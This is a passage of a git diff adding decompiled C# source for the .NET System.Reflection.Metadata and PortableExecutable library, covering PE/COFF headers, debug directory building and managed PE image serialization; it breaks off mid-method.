System.Reflection.Metadata; + +public readonly struct UserStringHandle : IEquatable +{ + private readonly int _offset; + + public bool IsNil => _offset == 0; + + private UserStringHandle(int offset) + { + _offset = offset; + } + + internal static UserStringHandle FromOffset(int heapOffset) + { + return new UserStringHandle(heapOffset); + } + + public static implicit operator Handle(UserStringHandle handle) + { + return new Handle(112, handle._offset); + } + + public static explicit operator UserStringHandle(Handle handle) + { + if (handle.VType != 112) + { + Throw.InvalidCast(); + } + return new UserStringHandle(handle.Offset); + } + + internal int GetHeapOffset() + { + return _offset; + } + + public static bool operator ==(UserStringHandle left, UserStringHandle right) + { + return left._offset == right._offset; + } + + public override bool Equals(object? obj) + { + if (obj is UserStringHandle) + { + return ((UserStringHandle)obj)._offset == _offset; + } + return false; + } + + public bool Equals(UserStringHandle other) + { + return _offset == other._offset; + } + + public override int GetHashCode() + { + int offset = _offset; + return offset.GetHashCode(); + } + + public static bool operator !=(UserStringHandle left, UserStringHandle right) + { + return left._offset != right._offset; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Characteristics.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Characteristics.cs new file mode 100644 index 0000000..69877ef --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Characteristics.cs @@ -0,0 +1,21 @@ +namespace System.Reflection.PortableExecutable; + +[Flags] +public enum Characteristics : ushort +{ + RelocsStripped = 1, + ExecutableImage = 2, + LineNumsStripped = 4, + LocalSymsStripped = 8, + AggressiveWSTrim = 0x10, + LargeAddressAware = 0x20, + BytesReversedLo = 0x80, + Bit32Machine = 0x100, + DebugStripped = 0x200, + RemovableRunFromSwap = 0x400, + NetRunFromSwap = 0x800, + System = 0x1000, + Dll = 0x2000, + UpSystemOnly = 0x4000, + BytesReversedHi = 0x8000 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CodeViewDebugDirectoryData.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CodeViewDebugDirectoryData.cs new file mode 100644 index 0000000..4f39589 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CodeViewDebugDirectoryData.cs @@ -0,0 +1,17 @@ +namespace System.Reflection.PortableExecutable; + +public readonly struct CodeViewDebugDirectoryData +{ + public Guid Guid { get; } + + public int Age { get; } + + public string Path { get; } + + internal CodeViewDebugDirectoryData(Guid guid, int age, string path) + { + Path = path; + Guid = guid; + Age = age; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CoffHeader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CoffHeader.cs new file mode 100644 index 0000000..ae6df00 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CoffHeader.cs @@ -0,0 +1,31 @@ +namespace System.Reflection.PortableExecutable; + +public sealed class CoffHeader +{ + internal const int Size = 20; + + public Machine Machine { get; } + + public short NumberOfSections { get; } + + public int TimeDateStamp { get; } + + public int PointerToSymbolTable { get; } + + public int NumberOfSymbols { get; } + + public short SizeOfOptionalHeader { get; } + + public Characteristics Characteristics { get; } + + internal CoffHeader(ref PEBinaryReader reader) + { + Machine = (Machine)reader.ReadUInt16(); + NumberOfSections = reader.ReadInt16(); + TimeDateStamp = reader.ReadInt32(); + PointerToSymbolTable = reader.ReadInt32(); + NumberOfSymbols = reader.ReadInt32(); + SizeOfOptionalHeader = reader.ReadInt16(); + Characteristics = (Characteristics)reader.ReadUInt16(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CorFlags.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CorFlags.cs new file mode 100644 index 0000000..b6a483f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CorFlags.cs @@ -0,0 +1,13 @@ +namespace System.Reflection.PortableExecutable; + +[Flags] +public enum CorFlags +{ + ILOnly = 1, + Requires32Bit = 2, + ILLibrary = 4, + StrongNameSigned = 8, + NativeEntryPoint = 0x10, + TrackDebugData = 0x10000, + Prefers32Bit = 0x20000 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CorHeader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CorHeader.cs new file mode 100644 index 0000000..3a0f882 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/CorHeader.cs @@ -0,0 +1,42 @@ +namespace System.Reflection.PortableExecutable; + +public sealed class CorHeader +{ + public ushort MajorRuntimeVersion { get; } + + public ushort MinorRuntimeVersion { get; } + + public DirectoryEntry MetadataDirectory { get; } + + public CorFlags Flags { get; } + + public int EntryPointTokenOrRelativeVirtualAddress { get; } + + public DirectoryEntry ResourcesDirectory { get; } + + public DirectoryEntry StrongNameSignatureDirectory { get; } + + public DirectoryEntry CodeManagerTableDirectory { get; } + + public DirectoryEntry VtableFixupsDirectory { get; } + + public DirectoryEntry ExportAddressTableJumpsDirectory { get; } + + public DirectoryEntry ManagedNativeHeaderDirectory { get; } + + internal CorHeader(ref PEBinaryReader reader) + { + reader.ReadInt32(); + MajorRuntimeVersion = reader.ReadUInt16(); + MinorRuntimeVersion = reader.ReadUInt16(); + MetadataDirectory = new DirectoryEntry(ref reader); + Flags = (CorFlags)reader.ReadUInt32(); + EntryPointTokenOrRelativeVirtualAddress = reader.ReadInt32(); + ResourcesDirectory = new DirectoryEntry(ref reader); + StrongNameSignatureDirectory = new DirectoryEntry(ref reader); + CodeManagerTableDirectory = new DirectoryEntry(ref reader); + VtableFixupsDirectory = new DirectoryEntry(ref reader); + ExportAddressTableJumpsDirectory = new DirectoryEntry(ref reader); + ManagedNativeHeaderDirectory = new DirectoryEntry(ref reader); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryBuilder.cs new file mode 100644 index 0000000..cfe1ebc --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryBuilder.cs @@ -0,0 +1,203 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.IO.Compression; +using System.Reflection.Metadata; + +namespace System.Reflection.PortableExecutable; + +public sealed class DebugDirectoryBuilder +{ + private struct Entry + { + public uint Stamp; + + public uint Version; + + public DebugDirectoryEntryType Type; + + public int DataSize; + } + + private readonly List _entries; + + private readonly BlobBuilder _dataBuilder; + + internal int TableSize => 28 * _entries.Count; + + internal int Size => (TableSize + _dataBuilder?.Count).GetValueOrDefault(); + + public DebugDirectoryBuilder() + { + _entries = new List(3); + _dataBuilder = new BlobBuilder(); + } + + internal void AddEntry(DebugDirectoryEntryType type, uint version, uint stamp, int dataSize) + { + _entries.Add(new Entry + { + Stamp = stamp, + Version = version, + Type = type, + DataSize = dataSize + }); + } + + public void AddEntry(DebugDirectoryEntryType type, uint version, uint stamp) + { + AddEntry(type, version, stamp, 0); + } + + public void AddEntry(DebugDirectoryEntryType type, uint version, uint stamp, TData data, Action dataSerializer) + { + if (dataSerializer == null) + { + Throw.ArgumentNull("dataSerializer"); + } + int count = _dataBuilder.Count; + dataSerializer(_dataBuilder, data); + int dataSize = _dataBuilder.Count - count; + AddEntry(type, version, stamp, dataSize); + } + + public void AddCodeViewEntry(string pdbPath, BlobContentId pdbContentId, ushort portablePdbVersion) + { + AddCodeViewEntry(pdbPath, pdbContentId, portablePdbVersion, 1); + } + + public void AddCodeViewEntry(string pdbPath, BlobContentId pdbContentId, ushort portablePdbVersion, int age) + { + if (pdbPath == null) + { + Throw.ArgumentNull("pdbPath"); + } + if (age < 1) + { + Throw.ArgumentOutOfRange("age"); + } + if (pdbPath.Length == 0 || pdbPath.IndexOf('\0') == 0) + { + Throw.InvalidArgument(System.SR.ExpectedNonEmptyString, "pdbPath"); + } + if (portablePdbVersion > 0 && portablePdbVersion < 256) + { + Throw.ArgumentOutOfRange("portablePdbVersion"); + } + int dataSize = WriteCodeViewData(_dataBuilder, pdbPath, pdbContentId.Guid, age); + AddEntry(DebugDirectoryEntryType.CodeView, (portablePdbVersion != 0) ? PortablePdbVersions.DebugDirectoryEntryVersion(portablePdbVersion) : 0u, pdbContentId.Stamp, dataSize); + } + + public void AddReproducibleEntry() + { + AddEntry(DebugDirectoryEntryType.Reproducible, 0u, 0u); + } + + private static int WriteCodeViewData(BlobBuilder builder, string pdbPath, Guid pdbGuid, int age) + { + int count = builder.Count; + builder.WriteByte(82); + builder.WriteByte(83); + builder.WriteByte(68); + builder.WriteByte(83); + builder.WriteGuid(pdbGuid); + builder.WriteInt32(age); + builder.WriteUTF8(pdbPath); + builder.WriteByte(0); + return builder.Count - count; + } + + public void AddPdbChecksumEntry(string algorithmName, ImmutableArray checksum) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + if (algorithmName == null) + { + Throw.ArgumentNull("algorithmName"); + } + if (algorithmName.Length == 0) + { + Throw.ArgumentEmptyString("algorithmName"); + } + if (checksum.IsDefault) + { + Throw.ArgumentNull("checksum"); + } + if (checksum.Length == 0) + { + Throw.ArgumentEmptyArray("checksum"); + } + int dataSize = WritePdbChecksumData(_dataBuilder, algorithmName, checksum); + AddEntry(DebugDirectoryEntryType.PdbChecksum, 1u, 0u, dataSize); + } + + private static int WritePdbChecksumData(BlobBuilder builder, string algorithmName, ImmutableArray checksum) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + int count = builder.Count; + builder.WriteUTF8(algorithmName); + builder.WriteByte(0); + builder.WriteBytes(checksum); + return builder.Count - count; + } + + internal void Serialize(BlobBuilder builder, SectionLocation sectionLocation, int sectionOffset) + { + int num = sectionOffset + TableSize; + foreach (Entry entry in _entries) + { + int value; + int value2; + if (entry.DataSize > 0) + { + value = sectionLocation.RelativeVirtualAddress + num; + value2 = sectionLocation.PointerToRawData + num; + } + else + { + value = 0; + value2 = 0; + } + builder.WriteUInt32(0u); + builder.WriteUInt32(entry.Stamp); + builder.WriteUInt32(entry.Version); + builder.WriteInt32((int)entry.Type); + builder.WriteInt32(entry.DataSize); + builder.WriteInt32(value); + builder.WriteInt32(value2); + num += entry.DataSize; + } + builder.LinkSuffix(_dataBuilder); + } + + public void AddEmbeddedPortablePdbEntry(BlobBuilder debugMetadata, ushort portablePdbVersion) + { + if (debugMetadata == null) + { + Throw.ArgumentNull("debugMetadata"); + } + if (portablePdbVersion < 256) + { + Throw.ArgumentOutOfRange("portablePdbVersion"); + } + int dataSize = WriteEmbeddedPortablePdbData(_dataBuilder, debugMetadata); + AddEntry(DebugDirectoryEntryType.EmbeddedPortablePdb, PortablePdbVersions.DebugDirectoryEmbeddedVersion(portablePdbVersion), 0u, dataSize); + } + + private static int WriteEmbeddedPortablePdbData(BlobBuilder builder, BlobBuilder debugMetadata) + { + int count = builder.Count; + builder.WriteUInt32(1111773261u); + builder.WriteInt32(debugMetadata.Count); + MemoryStream memoryStream = new MemoryStream(); + using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionLevel.Optimal, leaveOpen: true)) + { + foreach (Blob blob in debugMetadata.GetBlobs()) + { + ArraySegment bytes = blob.GetBytes(); + deflateStream.Write(bytes.Array, bytes.Offset, bytes.Count); + } + } + builder.WriteBytes(memoryStream.ToArray()); + return builder.Count - count; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryEntry.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryEntry.cs new file mode 100644 index 0000000..112fced --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryEntry.cs @@ -0,0 +1,33 @@ +namespace System.Reflection.PortableExecutable; + +public readonly struct DebugDirectoryEntry +{ + internal const int Size = 28; + + public uint Stamp { get; } + + public ushort MajorVersion { get; } + + public ushort MinorVersion { get; } + + public DebugDirectoryEntryType Type { get; } + + public int DataSize { get; } + + public int DataRelativeVirtualAddress { get; } + + public int DataPointer { get; } + + public bool IsPortableCodeView => MinorVersion == 20557; + + public DebugDirectoryEntry(uint stamp, ushort majorVersion, ushort minorVersion, DebugDirectoryEntryType type, int dataSize, int dataRelativeVirtualAddress, int dataPointer) + { + Stamp = stamp; + MajorVersion = majorVersion; + MinorVersion = minorVersion; + Type = type; + DataSize = dataSize; + DataRelativeVirtualAddress = dataRelativeVirtualAddress; + DataPointer = dataPointer; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryEntryType.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryEntryType.cs new file mode 100644 index 0000000..c4ca4f4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DebugDirectoryEntryType.cs @@ -0,0 +1,11 @@ +namespace System.Reflection.PortableExecutable; + +public enum DebugDirectoryEntryType +{ + Unknown = 0, + Coff = 1, + CodeView = 2, + Reproducible = 16, + EmbeddedPortablePdb = 17, + PdbChecksum = 19 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DirectoryEntry.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DirectoryEntry.cs new file mode 100644 index 0000000..6835b46 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DirectoryEntry.cs @@ -0,0 +1,20 @@ +namespace System.Reflection.PortableExecutable; + +public readonly struct DirectoryEntry +{ + public readonly int RelativeVirtualAddress; + + public readonly int Size; + + public DirectoryEntry(int relativeVirtualAddress, int size) + { + RelativeVirtualAddress = relativeVirtualAddress; + Size = size; + } + + internal DirectoryEntry(ref PEBinaryReader reader) + { + RelativeVirtualAddress = reader.ReadInt32(); + Size = reader.ReadInt32(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DllCharacteristics.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DllCharacteristics.cs new file mode 100644 index 0000000..752170a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/DllCharacteristics.cs @@ -0,0 +1,19 @@ +namespace System.Reflection.PortableExecutable; + +[Flags] +public enum DllCharacteristics : ushort +{ + ProcessInit = 1, + ProcessTerm = 2, + ThreadInit = 4, + ThreadTerm = 8, + HighEntropyVirtualAddressSpace = 0x20, + DynamicBase = 0x40, + NxCompatible = 0x100, + NoIsolation = 0x200, + NoSeh = 0x400, + NoBind = 0x800, + AppContainer = 0x1000, + WdmDriver = 0x2000, + TerminalServerAware = 0x8000 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Machine.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Machine.cs new file mode 100644 index 0000000..3a97502 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Machine.cs @@ -0,0 +1,32 @@ +namespace System.Reflection.PortableExecutable; + +public enum Machine : ushort +{ + Unknown = 0, + I386 = 332, + WceMipsV2 = 361, + Alpha = 388, + SH3 = 418, + SH3Dsp = 419, + SH3E = 420, + SH4 = 422, + SH5 = 424, + Arm = 448, + Thumb = 450, + ArmThumb2 = 452, + AM33 = 467, + PowerPC = 496, + PowerPCFP = 497, + IA64 = 512, + MIPS16 = 614, + Alpha64 = 644, + MipsFpu = 870, + MipsFpu16 = 1126, + Tricore = 1312, + Ebc = 3772, + Amd64 = 34404, + M32R = 36929, + Arm64 = 43620, + LoongArch32 = 25138, + LoongArch64 = 25188 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ManagedPEBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ManagedPEBuilder.cs new file mode 100644 index 0000000..e8133f4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ManagedPEBuilder.cs @@ -0,0 +1,196 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.PortableExecutable; + +public class ManagedPEBuilder : PEBuilder +{ + public const int ManagedResourcesDataAlignment = 8; + + public const int MappedFieldDataAlignment = 8; + + private const int DefaultStrongNameSignatureSize = 128; + + private const string TextSectionName = ".text"; + + private const string ResourceSectionName = ".rsrc"; + + private const string RelocationSectionName = ".reloc"; + + private readonly PEDirectoriesBuilder _peDirectoriesBuilder; + + private readonly MetadataRootBuilder _metadataRootBuilder; + + private readonly BlobBuilder _ilStream; + + private readonly BlobBuilder _mappedFieldDataOpt; + + private readonly BlobBuilder _managedResourcesOpt; + + private readonly ResourceSectionBuilder _nativeResourcesOpt; + + private readonly int _strongNameSignatureSize; + + private readonly MethodDefinitionHandle _entryPointOpt; + + private readonly DebugDirectoryBuilder _debugDirectoryBuilderOpt; + + private readonly CorFlags _corFlags; + + private int _lazyEntryPointAddress; + + private Blob _lazyStrongNameSignature; + + public ManagedPEBuilder(PEHeaderBuilder header, MetadataRootBuilder metadataRootBuilder, BlobBuilder ilStream, BlobBuilder? mappedFieldData = null, BlobBuilder? managedResources = null, ResourceSectionBuilder? nativeResources = null, DebugDirectoryBuilder? debugDirectoryBuilder = null, int strongNameSignatureSize = 128, MethodDefinitionHandle entryPoint = default(MethodDefinitionHandle), CorFlags flags = CorFlags.ILOnly, Func, BlobContentId>? deterministicIdProvider = null) + : base(header, deterministicIdProvider) + { + if (header == null) + { + Throw.ArgumentNull("header"); + } + if (metadataRootBuilder == null) + { + Throw.ArgumentNull("metadataRootBuilder"); + } + if (ilStream == null) + { + Throw.ArgumentNull("ilStream"); + } + if (strongNameSignatureSize < 0) + { + Throw.ArgumentOutOfRange("strongNameSignatureSize"); + } + _metadataRootBuilder = metadataRootBuilder; + _ilStream = ilStream; + _mappedFieldDataOpt = mappedFieldData; + _managedResourcesOpt = managedResources; + _nativeResourcesOpt = nativeResources; + _strongNameSignatureSize = strongNameSignatureSize; + _entryPointOpt = entryPoint; + _debugDirectoryBuilderOpt = debugDirectoryBuilder ?? CreateDefaultDebugDirectoryBuilder(); + _corFlags = flags; + _peDirectoriesBuilder = new PEDirectoriesBuilder(); + } + + private DebugDirectoryBuilder CreateDefaultDebugDirectoryBuilder() + { + if (base.IsDeterministic) + { + DebugDirectoryBuilder debugDirectoryBuilder = new DebugDirectoryBuilder(); + debugDirectoryBuilder.AddReproducibleEntry(); + return debugDirectoryBuilder; + } + return null; + } + + protected override ImmutableArray
CreateSections() + { + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + Builder
val = ImmutableArray.CreateBuilder
(3); + val.Add(new Section(".text", SectionCharacteristics.ContainsCode | SectionCharacteristics.MemExecute | SectionCharacteristics.MemRead)); + if (_nativeResourcesOpt != null) + { + val.Add(new Section(".rsrc", SectionCharacteristics.ContainsInitializedData | SectionCharacteristics.MemRead)); + } + if (base.Header.Machine == Machine.I386 || base.Header.Machine == Machine.Unknown) + { + val.Add(new Section(".reloc", SectionCharacteristics.ContainsInitializedData | SectionCharacteristics.MemDiscardable | SectionCharacteristics.MemRead)); + } + return val.ToImmutable(); + } + + protected override BlobBuilder SerializeSection(string name, SectionLocation location) + { + return name switch + { + ".text" => SerializeTextSection(location), + ".rsrc" => SerializeResourceSection(location), + ".reloc" => SerializeRelocationSection(location), + _ => throw new ArgumentException(System.SR.Format(System.SR.UnknownSectionName, name), "name"), + }; + } + + private BlobBuilder SerializeTextSection(SectionLocation location) + { + BlobBuilder blobBuilder = new BlobBuilder(); + BlobBuilder blobBuilder2 = new BlobBuilder(); + MetadataSizes sizes = _metadataRootBuilder.Sizes; + ManagedTextSection managedTextSection = new ManagedTextSection(base.Header.ImageCharacteristics, base.Header.Machine, _ilStream.Count, sizes.MetadataSize, _managedResourcesOpt?.Count ?? 0, _strongNameSignatureSize, _debugDirectoryBuilderOpt?.Size ?? 0, _mappedFieldDataOpt?.Count ?? 0); + int methodBodyStreamRva = location.RelativeVirtualAddress + managedTextSection.OffsetToILStream; + int mappedFieldDataStreamRva = location.RelativeVirtualAddress + managedTextSection.CalculateOffsetToMappedFieldDataStream(); + _metadataRootBuilder.Serialize(blobBuilder2, methodBodyStreamRva, mappedFieldDataStreamRva); + BlobBuilder blobBuilder3; + DirectoryEntry debugTable; + if (_debugDirectoryBuilderOpt != null) + { + int num = managedTextSection.ComputeOffsetToDebugDirectory(); + blobBuilder3 = new BlobBuilder(_debugDirectoryBuilderOpt.TableSize); + _debugDirectoryBuilderOpt.Serialize(blobBuilder3, location, num); + debugTable = new DirectoryEntry(location.RelativeVirtualAddress + num, _debugDirectoryBuilderOpt.TableSize); + } + else + { + blobBuilder3 = null; + debugTable = default(DirectoryEntry); + } + _lazyEntryPointAddress = managedTextSection.GetEntryPointAddress(location.RelativeVirtualAddress); + managedTextSection.Serialize(blobBuilder, location.RelativeVirtualAddress, (!_entryPointOpt.IsNil) ? MetadataTokens.GetToken(_entryPointOpt) : 0, _corFlags, base.Header.ImageBase, blobBuilder2, _ilStream, _mappedFieldDataOpt, _managedResourcesOpt, blobBuilder3, out _lazyStrongNameSignature); + _peDirectoriesBuilder.AddressOfEntryPoint = _lazyEntryPointAddress; + _peDirectoriesBuilder.DebugTable = debugTable; + _peDirectoriesBuilder.ImportAddressTable = managedTextSection.GetImportAddressTableDirectoryEntry(location.RelativeVirtualAddress); + _peDirectoriesBuilder.ImportTable = managedTextSection.GetImportTableDirectoryEntry(location.RelativeVirtualAddress); + _peDirectoriesBuilder.CorHeaderTable = managedTextSection.GetCorHeaderDirectoryEntry(location.RelativeVirtualAddress); + return blobBuilder; + } + + private BlobBuilder SerializeResourceSection(SectionLocation location) + { + BlobBuilder blobBuilder = new BlobBuilder(); + _nativeResourcesOpt.Serialize(blobBuilder, location); + _peDirectoriesBuilder.ResourceTable = new DirectoryEntry(location.RelativeVirtualAddress, blobBuilder.Count); + return blobBuilder; + } + + private BlobBuilder SerializeRelocationSection(SectionLocation location) + { + BlobBuilder blobBuilder = new BlobBuilder(); + WriteRelocationSection(blobBuilder, base.Header.Machine, _lazyEntryPointAddress); + _peDirectoriesBuilder.BaseRelocationTable = new DirectoryEntry(location.RelativeVirtualAddress, blobBuilder.Count); + return blobBuilder; + } + + private static void WriteRelocationSection(BlobBuilder builder, Machine machine, int entryPointAddress) + { + builder.WriteUInt32((uint)(entryPointAddress + 2) / 4096u * 4096); + builder.WriteUInt32((machine == Machine.IA64) ? 14u : 12u); + uint num = (uint)(entryPointAddress + 2) % 4096u; + uint num2 = ((machine == Machine.Amd64 || machine == Machine.IA64 || machine == Machine.Arm64) ? 10u : 3u); + ushort value = (ushort)((num2 << 12) | num); + builder.WriteUInt16(value); + if (machine == Machine.IA64) + { + builder.WriteUInt32(num2 << 12); + } + builder.WriteUInt16(0); + } + + protected internal override PEDirectoriesBuilder GetDirectories() + { + return _peDirectoriesBuilder; + } + + public void Sign(BlobBuilder peImage, Func, byte[]> signatureProvider) + { + if (peImage == null) + { + Throw.ArgumentNull("peImage"); + } + if (signatureProvider == null) + { + Throw.ArgumentNull("signatureProvider"); + } + Sign(peImage, _lazyStrongNameSignature, signatureProvider); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ManagedTextSection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ManagedTextSection.cs new file mode 100644 index 0000000..22041c8 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ManagedTextSection.cs @@ -0,0 +1,336 @@ +using System.Reflection.Internal; +using System.Reflection.Metadata; + +namespace System.Reflection.PortableExecutable; + +internal sealed class ManagedTextSection +{ + public const int ManagedResourcesDataAlignment = 8; + + private const string CorEntryPointDll = "mscoree.dll"; + + public const int MappedFieldDataAlignment = 8; + + private const int CorHeaderSize = 72; + + public Characteristics ImageCharacteristics { get; } + + public Machine Machine { get; } + + public int ILStreamSize { get; } + + public int MetadataSize { get; } + + public int ResourceDataSize { get; } + + public int StrongNameSignatureSize { get; } + + public int DebugDataSize { get; } + + public int MappedFieldDataSize { get; } + + internal bool RequiresStartupStub + { + get + { + if (Machine != Machine.I386) + { + return Machine == Machine.Unknown; + } + return true; + } + } + + internal bool Requires64bits + { + get + { + if (Machine != Machine.Amd64 && Machine != Machine.IA64) + { + return Machine == Machine.Arm64; + } + return true; + } + } + + public bool Is32Bit => !Requires64bits; + + private string CorEntryPointName + { + get + { + if ((ImageCharacteristics & Characteristics.Dll) == 0) + { + return "_CorExeMain"; + } + return "_CorDllMain"; + } + } + + private int SizeOfImportAddressTable + { + get + { + if (!RequiresStartupStub) + { + return 0; + } + if (!Is32Bit) + { + return 16; + } + return 8; + } + } + + private int SizeOfImportTable => 40 + (Is32Bit ? 12 : 16) + 2 + CorEntryPointName.Length + 1; + + private static int SizeOfNameTable => "mscoree.dll".Length + 1 + 2; + + private int SizeOfRuntimeStartupStub + { + get + { + if (!Is32Bit) + { + return 16; + } + return 8; + } + } + + public int OffsetToILStream => SizeOfImportAddressTable + 72; + + public ManagedTextSection(Characteristics imageCharacteristics, Machine machine, int ilStreamSize, int metadataSize, int resourceDataSize, int strongNameSignatureSize, int debugDataSize, int mappedFieldDataSize) + { + MetadataSize = metadataSize; + ResourceDataSize = resourceDataSize; + ILStreamSize = ilStreamSize; + MappedFieldDataSize = mappedFieldDataSize; + StrongNameSignatureSize = strongNameSignatureSize; + ImageCharacteristics = imageCharacteristics; + Machine = machine; + DebugDataSize = debugDataSize; + } + + internal int CalculateOffsetToMappedFieldDataStreamUnaligned() + { + int num = ComputeOffsetToImportTable(); + if (RequiresStartupStub) + { + num += SizeOfImportTable + SizeOfNameTable; + num = BitArithmetic.Align(num, Is32Bit ? 4 : 8); + num += SizeOfRuntimeStartupStub; + } + return num; + } + + public int CalculateOffsetToMappedFieldDataStream() + { + int num = CalculateOffsetToMappedFieldDataStreamUnaligned(); + if (MappedFieldDataSize != 0) + { + num = BitArithmetic.Align(num, 8); + } + return num; + } + + internal int ComputeOffsetToDebugDirectory() + { + return ComputeOffsetToMetadata() + MetadataSize + ResourceDataSize + StrongNameSignatureSize; + } + + private int ComputeOffsetToImportTable() + { + return ComputeOffsetToDebugDirectory() + DebugDataSize; + } + + private int ComputeOffsetToMetadata() + { + return OffsetToILStream + BitArithmetic.Align(ILStreamSize, 4); + } + + public int ComputeSizeOfTextSection() + { + return CalculateOffsetToMappedFieldDataStream() + MappedFieldDataSize; + } + + public int GetEntryPointAddress(int rva) + { + if (!RequiresStartupStub) + { + return 0; + } + return rva + CalculateOffsetToMappedFieldDataStreamUnaligned() - (Is32Bit ? 6 : 10); + } + + public DirectoryEntry GetImportAddressTableDirectoryEntry(int rva) + { + if (!RequiresStartupStub) + { + return default(DirectoryEntry); + } + return new DirectoryEntry(rva, SizeOfImportAddressTable); + } + + public DirectoryEntry GetImportTableDirectoryEntry(int rva) + { + if (!RequiresStartupStub) + { + return default(DirectoryEntry); + } + return new DirectoryEntry(rva + ComputeOffsetToImportTable(), (Is32Bit ? 66 : 70) + 13); + } + + public DirectoryEntry GetCorHeaderDirectoryEntry(int rva) + { + return new DirectoryEntry(rva + SizeOfImportAddressTable, 72); + } + + public void Serialize(BlobBuilder builder, int relativeVirtualAddess, int entryPointTokenOrRelativeVirtualAddress, CorFlags corFlags, ulong baseAddress, BlobBuilder metadataBuilder, BlobBuilder ilBuilder, BlobBuilder? mappedFieldDataBuilderOpt, BlobBuilder? resourceBuilderOpt, BlobBuilder? debugDataBuilderOpt, out Blob strongNameSignature) + { + int relativeVirtualAddress = GetImportTableDirectoryEntry(relativeVirtualAddess).RelativeVirtualAddress; + int relativeVirtualAddress2 = GetImportAddressTableDirectoryEntry(relativeVirtualAddess).RelativeVirtualAddress; + if (RequiresStartupStub) + { + WriteImportAddressTable(builder, relativeVirtualAddress); + } + WriteCorHeader(builder, relativeVirtualAddess, entryPointTokenOrRelativeVirtualAddress, corFlags); + ilBuilder.Align(4); + builder.LinkSuffix(ilBuilder); + builder.LinkSuffix(metadataBuilder); + if (resourceBuilderOpt != null) + { + builder.LinkSuffix(resourceBuilderOpt); + } + strongNameSignature = builder.ReserveBytes(StrongNameSignatureSize); + new BlobWriter(strongNameSignature).WriteBytes(0, StrongNameSignatureSize); + if (debugDataBuilderOpt != null) + { + builder.LinkSuffix(debugDataBuilderOpt); + } + if (RequiresStartupStub) + { + WriteImportTable(builder, relativeVirtualAddress, relativeVirtualAddress2); + WriteNameTable(builder); + WriteRuntimeStartupStub(builder, relativeVirtualAddress2, baseAddress); + } + if (mappedFieldDataBuilderOpt != null) + { + if (mappedFieldDataBuilderOpt.Count != 0) + { + builder.Align(8); + } + builder.LinkSuffix(mappedFieldDataBuilderOpt); + } + } + + private void WriteImportAddressTable(BlobBuilder builder, int importTableRva) + { + int count = builder.Count; + int num = importTableRva + 40; + int num2 = num + (Is32Bit ? 12 : 16); + if (Is32Bit) + { + builder.WriteUInt32((uint)num2); + builder.WriteUInt32(0u); + } + else + { + builder.WriteUInt64((uint)num2); + builder.WriteUInt64(0uL); + } + } + + private void WriteImportTable(BlobBuilder builder, int importTableRva, int importAddressTableRva) + { + int count = builder.Count; + int num = importTableRva + 40; + int num2 = num + (Is32Bit ? 12 : 16); + int value = num2 + 12 + 2; + builder.WriteUInt32((uint)num); + builder.WriteUInt32(0u); + 